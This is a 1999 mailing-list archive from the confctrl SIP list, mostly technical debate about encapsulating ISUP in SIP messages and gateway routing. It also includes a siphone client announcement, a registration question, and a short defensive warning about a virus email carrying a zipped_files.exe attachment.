	for <confctrl@ISI.EDU>; Sat, 12 Jun 1999 00:38:02 -0700 (PDT)
Received: from ellemtel.se (isdn242.ellemtel.net [194.237.226.242]) by orange.pcs.ellemtel.net with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2448.0)
	id LC013S0Y; Sat, 12 Jun 1999 09:38:14 +0200
Message-ID: <37620E58.3D1088A5@ellemtel.se>
Date: Sat, 12 Jun 1999 09:38:00 +0200
From: Peter =?iso-8859-1?Q?Peld=E1n?= <Peter.Peldan@ellemtel.se>
X-Mailer: Mozilla 4.5 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: confctrl <confctrl@ISI.EDU>
Subject: Virus alert
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

I just received an email containing a virus. The email was a reply to
one of my previous posts to this list. So just to warn others: DO NOT
(as you never should) open the attachment to this letter:

>Hi  !
>I received your email and I shall send you a reply ASAP.
>Till then, take a look at the attached zipped docs.
>Sincerely 
>        .
> <<zipped_files.exe>>

From confctrl-owner  Mon Jun 14 07:01:49 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA05378
	for confctrl-outgoing; Mon, 14 Jun 1999 07:01:49 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA05373
	for <confctrl@zephyr.isi.edu>; Mon, 14 Jun 1999 07:01:48 -0700 (PDT)
Received: from penguin.wise.edt.ericsson.se (penguin-ext.wise.edt.ericsson.se [194.237.142.110])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id HAA27355
	for <confctrl@isi.edu>; Mon, 14 Jun 1999 07:01:46 -0700 (PDT)
Received: from lmf.lmf.ericsson.se (umail.lmf.ericsson.se [131.160.11.2])
	by penguin.wise.edt.ericsson.se (8.9.3/8.9.3/WIREfire-1.3) with ESMTP id QAA07266;
	Mon, 14 Jun 1999 16:00:26 +0200 (MET DST)
Received: from ericsson.com by lmf.lmf.ericsson.se (8.8.8+Sun/SMI-SVR4)
	id OAA19940; Mon, 14 Jun 1999 14:14:55 +0300 (EET DST)
Message-ID: <3764E41A.5F4A4CC8@ericsson.com>
Date: Mon, 14 Jun 1999 14:14:34 +0300
From: Gonzalo Camarillo <Gonzalo.Camarillo@ericsson.com>
Organization: Oy L M Ericsson Ab
X-Mailer: Mozilla 4.05 [en] (WinNT; I)
MIME-Version: 1.0
To: jdrosen@dnrc.bell-labs.com
CC: Adam.Roach@ericsson.com, jmceach@nortelnetworks.com, confctrl@ISI.EDU,
        Ricky@lmf.ericsson.se
Subject: Re: draft-ietf-mmusic-sip-multipart-00.txt
References: <3761C480.84987A9A@dnrc.bell-labs.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi,

jdrosen@dnrc.bell-labs.com wrote:
> 
> Adam B. Roach wrote:
> >
> > >The terminating MGC should not depend on the originator... it depends on
> > >the carrier you want to use (sip:+35892993371@telia.com or
> > >sip:+3589293371@sonera.com).
> >
> > In the case of a native SIP terminal, this makes sense. For PSTN
> > service, you will not typically use an egress gateway owned by
> > someone other than the ingress gateway, just as I don't currently
> > have my long distance calls carried half the way by MCI Worldcom, and
> > the other half of the way by Sprint.
> 
> Well, you do have separate local carriers and long distance carriers.
> So, in the PSTN, your call is often carried by three different providers
> along the way (two locals, one on each end, and a long distance
> provider). Possibly more for international calls.
> 
> I think its highly unlikely that the same organization that owns the
> ingress gateway will always own the egress. For international calls in
> particular, you cannot expect them both to be by the same provider.
> Rather, I would expect inter-provider relationships to be established to
> share gateways amongst each other. This is already happening with
> clearinghouses like ITXC.
> 
> In fact, this is the reason for the Gateway Location Protocol in iptel -
> to allow providers to exchange gateway routing information.
> 
> > >How do you guys think this negotiation has to take place?
> >
> > For the above cases, since we're already provisioning information
> > about the gateways, it could quite easily be part of the same
> > table (this table assumes we have a super fantastic gateway
> > that can do arbitrary signalling translations):
> >
> > number map | destination                        | signalling   | public key
> > -----------+------------------------------------+--------------+-------------
> > 1713*      | pstn-gw.houston.tx.us.bell.com     | ANSI ISUP    | A246FD87...
> > 1218*      | pstn-gw.bemidji.mn.us.bell.com     | ANSI ISUP    | D6438E75...
> > 46054*     | pstn-gw.karlstad.ks.se.bell.com    | ITU ISUP     | 938EF64A...
> > 322*       | pstn-gw.brussels.be.bell.com       | Belgian ISUP | 3E71F29E...
> > 44*        | sip-proxy.bt.co.uk                 | BT NUP       | 375D17FA...
> > 1972583*   | pbx-gw.ericy.com                   | NONE         | -
> > 1800555*   | sip-redir.800.bell.com             | ANSI ISUP    | E93F2A7E...
> > 1500555*   | sip-redir.sip-clients.bell.com     | NONE         | -
> > default    | bell.com                           | NONE         | -
> >
> > Because of regulations in some countries, we will always need to
> > have the option of blocking ISUP transit to selected destinations;

Well, that's true, but if you are using IP telephony, how are you going
to know if an IP address is in one of those selected destinations?

So, if using gateways the PSTN network and the IP telephony network are
going to merge, some of these features/services will not make sense any
more.

> > starting out with the assumption that we can just go ahead and
> > send out the local varient to see if it gets rejected may land
> > operators in legal problems.
> 
> It seems unlikely that a provider will be able to build up a table of
> every single gateway in every single remote provider which might be
> contacted. Rather, a provider might know that calls for +44 get routed
> to a particular SIP server, and from there the calls are distributed to
> specific gateways. What I am talking about is aggregation - the table
> above would really contain "next hops", not destination gateways. This
> kind of aggregation has been the cornerstone of inter-domain routing
> mechanisms on the Internet.

OK, my idea was that SIGTRAN was useful when there were two huge
gateways sending messages between them (PSTN-IP-PSTN).
SIP had to be used when we contact a SIP server, that can provide lots
of services... the problem appeared when that SIP server could re-direct
the call to PSTN again... then, we have to encapsulate ISUP in the
message body of the SIP message.

But if in the ingress gateway we know that the next hope is a signalling
gateway that ends up in PSTN again... why don't we use SIGTRAN?


> This fact only makes the ISUP-flavor problem worse. I believe the ideal
> solution is to agree on a common flavor for the Internet. Think of the
> Internet as another "country" with a speific flavor. When you talk to a
> gateway in this pseudo-country, you convert to its flavor just as you
> might need to do at other international boundaries. Whether this is
> politically or economically feasible is a good question that I don't
> know the answer to.

Well, we have already the International ISUP as a common flavour between
different PSTN networks placed in different countries...
The problem is that International ISUP does not support many services...
so, the basic call will go through, but all the fancy features of the
national ISUPs are lost.

If a service provider cannot provide services when the call goes over
IP, how are they going to make money. The user wants services.

> 
> If we presume that we don't generally know the terminating UAS for every
> phone number, its possible that the request terminates at a regular IP
> host, like a standalone IP phone or a PC. In this case, sending it ISUP
> is probably not a good idea. But how would you know in the first place?
> 

If you send an ISUP body to a SIP phone, it can just discard it ( we
have used some extra bandwidth though).
If you don't send the ISUP information to the egress gateway, it will
lose a lot of useful information for building its outgoing ISUP
messages.


> In a closed, singly owned administrative authority, it is certainly
> feasible to know the actual gateway that would terminate each call, and
> what flavor it speaks. However, if they are all owned by the same
> authority, they are all likely to speak the same ISUP flavor anyway...
> 
> -Jonathan R.
> 
> --
> Jonathan D. Rosenberg                       Lucent Technologies
> Member of Technical Staff                   101 Crawfords Corner Rd.
> High Speed Networks Research                Holmdel, NJ 07733
> FAX: (732) 834-5379                         Rm. 4C-526
> EMAIL: jdrosen@bell-labs.com
> URL: http://www.cs.columbia.edu/~jdrosen

-- 
Gonzalo Camarillo         Phone :  +358  9 299 33 71
Oy L M Ericsson Ab        Mobile:  +358 40 702 35 35
Telecom R&D               Fax   :  +358  9 299 31 18
FIN-02420 Jorvas          Email :  Gonzalo.Camarillo@ericsson.com
Finland

From confctrl-owner  Mon Jun 14 10:34:32 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id KAA14042
	for confctrl-outgoing; Mon, 14 Jun 1999 10:34:32 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id KAA14037
	for <confctrl@zephyr.isi.edu>; Mon, 14 Jun 1999 10:34:30 -0700 (PDT)
Received: from gwa.ericsson.com (gwa.ericsson.com [198.215.127.2])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id KAA12232
	for <confctrl@ISI.EDU>; Mon, 14 Jun 1999 10:34:25 -0700 (PDT)
Received: from mr4.exu.ericsson.se (mr4a.ericsson.com [198.215.127.160])
	by gwa.ericsson.com (8.9.3/8.9.3) with ESMTP id MAA29361;
	Mon, 14 Jun 1999 12:33:46 -0500 (CDT)
Received: from newman.exu.ericsson.se (newman.exu.ericsson.se [138.85.10.50])
	by mr4.exu.ericsson.se (8.8.8/8.8.8) with ESMTP id MAA17768;
	Mon, 14 Jun 1999 12:33:41 -0500 (CDT)
Received: from b04a24.exu.ericsson.se (b04a24.exu.ericsson.se [138.85.60.124]) by newman.exu.ericsson.se (8.7.5/8.7.3) with ESMTP id MAA22005; Mon, 14 Jun 1999 12:33:37 -0500 (CDT)
Received: (from exuadam@localhost)
	by b04a24.exu.ericsson.se (8.9.1/8.9.1) id MAA13616;
	Mon, 14 Jun 1999 12:33:34 -0500 (CDT)
Message-Id: <199906141733.MAA13616@b04a24.exu.ericsson.se>
Subject: Re: draft-ietf-mmusic-sip-multipart-00.txt
To: jdrosen@dnrc.bell-labs.com (Jonathan Rosenberg)
Date: Mon, 14 Jun 1999 12:33:34 -0500 (CDT)
Cc: Adam.Roach@ericsson.com, Gonzalo.Camarillo@ericsson.com,
        jmceach@nortelnetworks.com, confctrl@ISI.EDU, Ricky@lmf.ericsson.se
In-Reply-To: <3761C480.84987A9A@dnrc.bell-labs.com> from "Jonathan Rosenberg" at Jun 11, 99 10:22:56 pm
From: "Adam B. Roach" <Adam.Roach@ericsson.com>
X-Mailer: ELM [version 2.4 PL24]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

>> In the case of a native SIP terminal, this makes sense. For PSTN
>> service, you will not typically use an egress gateway owned by
>> someone other than the ingress gateway, just as I don't currently
>> have my long distance calls carried half the way by MCI Worldcom, and
>> the other half of the way by Sprint.
>
>Well, you do have separate local carriers and long distance carriers.
>So, in the PSTN, your call is often carried by three different providers
>along the way (two locals, one on each end, and a long distance
>provider). Possibly more for international calls.

This model makes no sense in the context of IP telephony. Yes, we can
talk about who owns the cables and the routers; but, at a protocol
level, it doesn't make sense.

>I think its highly unlikely that the same organization that owns the
>ingress gateway will always own the egress. For international calls in
>particular, you cannot expect them both to be by the same provider.

Not always, which is why I've structured the table the way that I did.

>> For the above cases, since we're already provisioning information
>> about the gateways, it could quite easily be part of the same
>> table (this table assumes we have a super fantastic gateway
>> that can do arbitrary signalling translations):
>> 
>> number map | destination                        | signalling   | public key
>> -----------+------------------------------------+--------------+-------------
>> 1713*      | pstn-gw.houston.tx.us.bell.com     | ANSI ISUP    | A246FD87...
>> 1218*      | pstn-gw.bemidji.mn.us.bell.com     | ANSI ISUP    | D6438E75...
>> 46054*     | pstn-gw.karlstad.ks.se.bell.com    | ITU ISUP     | 938EF64A...
>> 322*       | pstn-gw.brussels.be.bell.com       | Belgian ISUP | 3E71F29E...
>> 44*        | sip-proxy.bt.co.uk                 | BT NUP       | 375D17FA...
>> 1972583*   | pbx-gw.ericy.com                   | NONE         | -
>> 1800555*   | sip-redir.800.bell.com             | ANSI ISUP    | E93F2A7E...
>> 1500555*   | sip-redir.sip-clients.bell.com     | NONE         | -
>> default    | bell.com                           | NONE         | -
>> 
>> Because of regulations in some countries, we will always need to
>> have the option of blocking ISUP transit to selected destinations;
>> starting out with the assumption that we can just go ahead and
>> send out the local varient to see if it gets rejected may land
>> operators in legal problems.
>
>It seems unlikely that a provider will be able to build up a table of
>every single gateway in every single remote provider which might be
>contacted. Rather, a provider might know that calls for +44 get routed
>to a particular SIP server, and from there the calls are distributed to
>specific gateways. What I am talking about is aggregation - the table
>above would really contain "next hops", not destination gateways. This
>kind of aggregation has been the cornerstone of inter-domain routing
>mechanisms on the Internet.

Precisely. That's the point of the 44* example I gave. You put in
the information that you either have control over or have negotiated
in interconnect agreements. In the other situations, our theoretical
bell.com guys actually have a presence in Houston, Bemidji, Brussels,
and Karlstad. But, just like you maintain your own DNS information
within your organization, you will maintain your own gateway routing
information.

>This fact only makes the ISUP-flavor problem worse. I believe the ideal
>solution is to agree on a common flavor for the Internet. Think of the
>Internet as another "country" with a speific flavor. When you talk to a
>gateway in this pseudo-country, you convert to its flavor just as you
>might need to do at other international boundaries. Whether this is
>politically or economically feasible is a good question that I don't
>know the answer to.

You *could* form a superset of all the currently existing ISUPs. 
The problem is that, no matter how comprehensive you make it *now*,
it will need revision whenever a new ISUP varient is defined or
an existing ISUP varient is expanded. I don't beleive any standards
body would be willing to take on this task.

I believe it is more likely that your interconnect agreements 
would define what flavor of ISUP each authority is expecting. We'll 
take the 44* example from my table above, again. In this circumstance, 
bell.com's agreement with BT indicates that bell.com is to send
and receive BT NUP; it is bell.com's responsibility to provide
the signalling translation. This is not to imply that all of the
destinations on the other side of BT's SIP proxy will necessarily
speak BT NUP. The BT proxy may, in fact, choose to translate
incoming messages to British ISUP before sending it to a
particular gateway, if their proxy's table so indicates.

number map | destination                        | signalling   | public key
-----------+------------------------------------+--------------+-------------
1*         | sip-proxy.bell.com                 | BT NUP       | 7AE82310...
44161*     | manchester.bt.co.uk                | BT NUP       | 739118DC...
44131*     | edinburgh.bt.co.uk                 | British ISUP | DEA042BC...
44141*     | glasgow.bt.co.uk                   | BT NUP       | C7A070BC...

--
Adam Roach, Ericsson Inc. |  Ph: +1 972 583 7594 | 1010 E. Arapaho, MS L-04
adam.roach@ericsson.com   | Fax: +1 972 669 0154 | Richardson, TX 75081 USA

From confctrl-owner  Mon Jun 14 12:31:43 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id MAA20385
	for confctrl-outgoing; Mon, 14 Jun 1999 12:31:43 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id MAA20380
	for <confctrl@zephyr.isi.edu>; Mon, 14 Jun 1999 12:31:41 -0700 (PDT)
Received: from Lawrence.roke.co.uk (Lawrence.roke.co.uk [193.118.192.41])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id MAA25717
	for <confctrl@ISI.EDU>; Mon, 14 Jun 1999 12:31:40 -0700 (PDT)
Received: from [193.118.192.55] by Lawrence.roke.co.uk
 with SMTP (Eudora Internet Mail Server 1.3.1); Mon, 14 Jun 1999 20:33:01 +0100
X-Sender: lwc@derek.roke.co.uk (Unverified)
Message-Id: <v02140b00b38b08cc5d50@[193.118.192.80]>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Mon, 14 Jun 1999 20:31:00 +0100
To: confctrl@ISI.EDU
From: lwc@roke.co.uk (Lawrence Conroy)
Subject: SIP telephone-subscriber in PINT/SDP?
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Dear All,
  First, apologies for the cross-posting; this is part of PINT, but may
have an impact on SDP implementations.

The current Spec for PINT uses a subset of the SIP telephone-subscriber
address format within its Session Description (one that allows only digits
and "-" separators, with or without a leading "+").

What I am unsure about is whether or not allowing a "full" SIP
telephone-subscriber format (as in RFC2543, Figure 4) will break existing
SDP parsers.

If there's some horrible consequence that anyone can see, PLEASE enlighten
me before we put the PINT draft to bed. If no one hollers now, I'll change
the PINT draft to just use the SIP definition, as we've received a request
to handle DTMF-digit characters like "*" and "#".

All the best, Lawrence
-----------------------------------------------------------------------
| Lawrence Conroy,    | "These Opinions must be mine, 'cos if they    |
| Roke Manor Research |  were my Company's they'd charge you for them"|
|- lwc@roke.co.uk  ---+- Tel: +44 1794 833666  Fax: +44 1794 833434 --|



From confctrl-owner  Mon Jun 14 18:54:11 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id SAA06142
	for confctrl-outgoing; Mon, 14 Jun 1999 18:54:11 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id SAA06137
	for <confctrl@zephyr.isi.edu>; Mon, 14 Jun 1999 18:54:09 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id SAA02780
	for <confctrl@isi.edu>; Mon, 14 Jun 1999 18:54:05 -0700 (PDT)
Received: from couch.dnrc.bell-labs.com ([135.180.160.30]) by dirty; Mon Jun 14 21:52:07 EDT 1999
Received: from dnrc.bell-labs.com (jdrosen.lra.lucent.com [135.17.248.80])
	by couch.dnrc.bell-labs.com (8.8.8/8.8.8) with ESMTP id VAA18888;
	Mon, 14 Jun 1999 21:51:44 -0400 (EDT)
Message-ID: <3765B1CC.A0FDE1CF@dnrc.bell-labs.com>
Date: Mon, 14 Jun 1999 21:52:12 -0400
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
Organization: Bell Laboratories
X-Mailer: Mozilla 4.05 [en] (Win95; U)
MIME-Version: 1.0
To: "Adam B. Roach" <Adam.Roach@ericsson.com>
CC: Gonzalo.Camarillo@ericsson.com, jmceach@nortelnetworks.com,
        confctrl@ISI.EDU, Ricky@lmf.ericsson.se
Subject: Re: draft-ietf-mmusic-sip-multipart-00.txt
References: <199906141733.MAA13616@b04a24.exu.ericsson.se>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Adam B. Roach wrote:
> 
> >Well, you do have separate local carriers and long distance carriers.
> >So, in the PSTN, your call is often carried by three different providers
> >along the way (two locals, one on each end, and a long distance
> >provider). Possibly more for international calls.
> 
> This model makes no sense in the context of IP telephony. Yes, we can
> talk about who owns the cables and the routers; but, at a protocol
> level, it doesn't make sense.

I believe it does. For pure IP, there are backbone providers and access
providers. There are protocols between them (BGP) for exchanging and
accepting of routes, based on policy. Your packet from A to B thus
traverses the set of ISP's who have agreements along this path. For IP
telephony, GLP works in a similar way. A provider would make its
gateways available to others, who would in turn (based on policy)
aggregate this information and make that available to others, and so on.
The signaling, as a result, may pass through these providers on the way
to the gateway (this is a difference between GLP and BGP, since in GLP,
the signaling can bypass location servers). You might want to have a
look at the GLP framework document (now in wg last call, so if you have
comments, we'd love to hear them..) at:

http://www.bell-labs.com/mailing-lists/iptel/draft-ietf-iptel-gwloc-framework-03.txt


> >This fact only makes the ISUP-flavor problem worse. I believe the ideal
> >solution is to agree on a common flavor for the Internet. Think of the
> >Internet as another "country" with a speific flavor. When you talk to a
> >gateway in this pseudo-country, you convert to its flavor just as you
> >might need to do at other international boundaries. Whether this is
> >politically or economically feasible is a good question that I don't
> >know the answer to.
> 
> I believe it is more likely that your interconnect agreements
> would define what flavor of ISUP each authority is expecting. We'll
> take the 44* example from my table above, again. In this circumstance,
> bell.com's agreement with BT indicates that bell.com is to send
> and receive BT NUP; it is bell.com's responsibility to provide
> the signalling translation. This is not to imply that all of the
> destinations on the other side of BT's SIP proxy will necessarily
> speak BT NUP. The BT proxy may, in fact, choose to translate
> incoming messages to British ISUP before sending it to a
> particular gateway, if their proxy's table so indicates.

This is one possibility, and closely aligns (I think) with how its done
in the traditional telephone world. But, it has the horrible side effect
of requiring proxies to not only parse the payloads of SIP messages, but
translate them as well. One of the very attractive aspects of the SIP
model is this proxy-payload transparency. We can use the same SIP
servers to invite people to multimedia sessions and interactive games,
since the session stuff is all in the payload. 

-Jonathan R.


-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX: (732) 834-5379                         Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Tue Jun 15 07:16:07 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA29033
	for confctrl-outgoing; Tue, 15 Jun 1999 07:16:07 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA29028
	for <confctrl@zephyr.isi.edu>; Tue, 15 Jun 1999 07:16:05 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id HAA26677
	for <confctrl@isi.edu>; Tue, 15 Jun 1999 07:16:04 -0700 (PDT)
Received: from nova.dnrc.bell-labs.com ([135.180.131.5]) by dirty; Tue Jun 15 10:14:10 EDT 1999
Received: from dnrc.bell-labs.com (arrakis.dnrc.bell-labs.com [135.180.130.41])
	by nova.dnrc.bell-labs.com (8.9.3/8.9.3) with ESMTP id KAA02037;
	Tue, 15 Jun 1999 10:13:37 -0400 (EDT)
Message-ID: <37665C4F.B6AEBF54@dnrc.bell-labs.com>
Date: Tue, 15 Jun 1999 09:59:43 -0400
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
X-Mailer: Mozilla 4.04 [en] (WinNT; I)
MIME-Version: 1.0
To: confctrl@ISI.EDU, list iptel <iptel@lists.research.bell-labs.com>
CC: Aleta Lapone <amg@lucent.com>
Subject: Siphone SIP client now available!
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Folks,

Bell Labs is pleased to announce that our SIP graphical user agent,
siphone, is now available for download for free (for research and
non-commercial usage) from the web. Our client is a fully functional UAS
and UAC. It supports:

* call initiation, termination, rejection, redirection, cancellation
* registration
* tcp and udp
* integration with web browser
* do-not-disturb
* automatic call forwarding features
* support for local proxies
* transfer and multi-party conferencing (experimental only - based on
  a preliminary call control specification)

Siphone does not support media directly; it makes use of separate
media tools for this purpose. It uses PMM (Pattern Matching Multicast)
to interface with the media tool. We have used nevot for the media
tool; you can obtain a statically linked version of nevot from our
download site for your convenience.

Siphone runs on WinNT, Linux, and Solaris. To download, visit our
siphone project site at: 

http://www.bell-labs.com/project/sip/

Thanks,
Jonathan Rosenberg
Igor Slepchin

-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX:   (732) 834-5379                       Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Tue Jun 15 08:14:24 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA01117
	for confctrl-outgoing; Tue, 15 Jun 1999 08:14:24 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA01112
	for <confctrl@zephyr.isi.edu>; Tue, 15 Jun 1999 08:14:23 -0700 (PDT)
Received: from gwa.ericsson.com (gwa.ericsson.com [198.215.127.2])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id IAA29017
	for <confctrl@isi.edu>; Tue, 15 Jun 1999 08:14:21 -0700 (PDT)
Received: from mr3.exu.ericsson.se (mr3a.ericsson.com [198.215.127.159])
	by gwa.ericsson.com (8.9.3/8.9.3) with ESMTP id KAA16490;
	Tue, 15 Jun 1999 10:13:20 -0500 (CDT)
Received: from newman.exu.ericsson.se (newman.exu.ericsson.se [138.85.10.50])
	by mr3.exu.ericsson.se (8.8.8/8.8.8) with ESMTP id KAA02399;
	Tue, 15 Jun 1999 10:13:20 -0500 (CDT)
Received: from b04a24.exu.ericsson.se (b04a24.exu.ericsson.se [138.85.60.124]) by newman.exu.ericsson.se (8.7.5/8.7.3) with ESMTP id KAA16579; Tue, 15 Jun 1999 10:13:15 -0500 (CDT)
Received: (from exuadam@localhost)
	by b04a24.exu.ericsson.se (8.9.1/8.9.1) id KAA17349;
	Tue, 15 Jun 1999 10:13:12 -0500 (CDT)
Message-Id: <199906151513.KAA17349@b04a24.exu.ericsson.se>
Subject: Re: draft-ietf-mmusic-sip-multipart-00.txt
To: jdrosen@dnrc.bell-labs.com (Jonathan Rosenberg)
Date: Tue, 15 Jun 1999 10:13:11 -0500 (CDT)
Cc: Adam.Roach@ericsson.com, Gonzalo.Camarillo@ericsson.com,
        jmceach@nortelnetworks.com, confctrl@ISI.EDU, Ricky@lmf.ericsson.se
In-Reply-To: <3765B1CC.A0FDE1CF@dnrc.bell-labs.com> from "Jonathan Rosenberg" at Jun 14, 99 09:52:12 pm
From: "Adam B. Roach" <Adam.Roach@ericsson.com>
X-Mailer: ELM [version 2.4 PL24]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

>> I believe it is more likely that your interconnect agreements
>> would define what flavor of ISUP each authority is expecting. We'll
>> take the 44* example from my table above, again. In this circumstance,
>> bell.com's agreement with BT indicates that bell.com is to send
>> and receive BT NUP; it is bell.com's responsibility to provide
>> the signalling translation. This is not to imply that all of the
>> destinations on the other side of BT's SIP proxy will necessarily
>> speak BT NUP. The BT proxy may, in fact, choose to translate
>> incoming messages to British ISUP before sending it to a
>> particular gateway, if their proxy's table so indicates.
>
>This is one possibility, and closely aligns (I think) with how its done
>in the traditional telephone world. But, it has the horrible side effect
>of requiring proxies to not only parse the payloads of SIP messages, but
>translate them as well.

Be careful how you phrase that: it requires **SOME** very specific
proxies which are used to enforce policy to occasionally translate
or remove ISUP payloads. This is not a general proxy requirement.

If anyone is transiting ISUP across the network in SIP messages,
there will *have* to be nodes which understand who is allowed
to receive ISUP messages. As you've said, the gateways can't
reasonably be expected to have sufficient information to know
whether ISUP is acceptable for each outgoing call, so the nodes 
that *do* know need to be in the middle of the call somewhere. You 
can call these enforcement nodes whatever you want, but they're 
proxies at heart.

--
Adam Roach, Ericsson Inc. |  Ph: +1 972 583 7594 | 1010 E. Arapaho, MS L-04
adam.roach@ericsson.com   | Fax: +1 972 669 0154 | Richardson, TX 75081 USA

From confctrl-owner  Tue Jun 15 10:19:15 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id KAA06158
	for confctrl-outgoing; Tue, 15 Jun 1999 10:19:15 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id KAA06153
	for <confctrl@zephyr.isi.edu>; Tue, 15 Jun 1999 10:19:13 -0700 (PDT)
Received: from turin.trillium.com (turin.trillium.com [206.216.108.218])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id KAA09343
	for <confctrl@isi.edu>; Tue, 15 Jun 1999 10:19:12 -0700 (PDT)
Received: (from uucp@localhost)
	by turin.trillium.com (8.8.7/8.8.7) id KAA02872
	for <confctrl@isi.edu>; Tue, 15 Jun 1999 10:18:42 -0700 (PDT)
Received: from aiglos.trillium.com(198.242.58.90)
 via SMTP by turin.trillium.com, id smtpdAAAa000go; Tue Jun 15 10:18:36 1999
Received: from isildur.trillium.com.trillium.com (isildur [198.242.58.48])
	by aiglos.trillium.com (8.9.3/8.9.3) with SMTP id KAA03568;
	Tue, 15 Jun 1999 10:18:31 -0700 (PDT)
Received: by isildur.trillium.com.trillium.com (SMI-8.6/SMI-SVR4)
	id KAA04521; Tue, 15 Jun 1999 10:06:38 -0700
Date: Tue, 15 Jun 1999 10:06:38 -0700
From: pradeep@trillium.com (Pradeep Malhotra)
Message-Id: <199906151706.KAA04521@isildur.trillium.com.trillium.com>
To: confctrl@ISI.EDU
Subject: SIP registration
Cc: rsapra@trillium.com, s_sriraman@trillium.com
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Content-MD5: r5zPWR43in210Mw/CiS/2g==
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi,
	I am new to SIP specifications. I have a basic doubt about the 
	registration process of the users with SIP servers. Let's say there
	is a domain company.com which has a number of hosts. A user is
	logged on to four different hosts simultaneously. There is a user agent
	server on each host and there is one SIP proxy server in the domain. 
	
	Does the user have to register with each user agent server for SIP
	services or to the SIP proxy server? Is there a possibility that the
	user does not register at all and when an inoming invitaion arrives at 
	the SIP proxy, it could find the user's current hosts using location
	services?
	
	Your help is appreciated..
	
regards,
pradeep

From confctrl-owner  Tue Jun 15 12:02:07 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id MAA10997
	for confctrl-outgoing; Tue, 15 Jun 1999 12:02:07 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id MAA10991
	for <confctrl@zephyr.isi.edu>; Tue, 15 Jun 1999 12:02:06 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id MAA19756
	for <confctrl@isi.edu>; Tue, 15 Jun 1999 12:02:04 -0700 (PDT)
Received: from nova.dnrc.bell-labs.com ([135.180.131.5]) by dirty; Tue Jun 15 15:00:27 EDT 1999
Received: from dnrc.bell-labs.com (arrakis.dnrc.bell-labs.com [135.180.130.41])
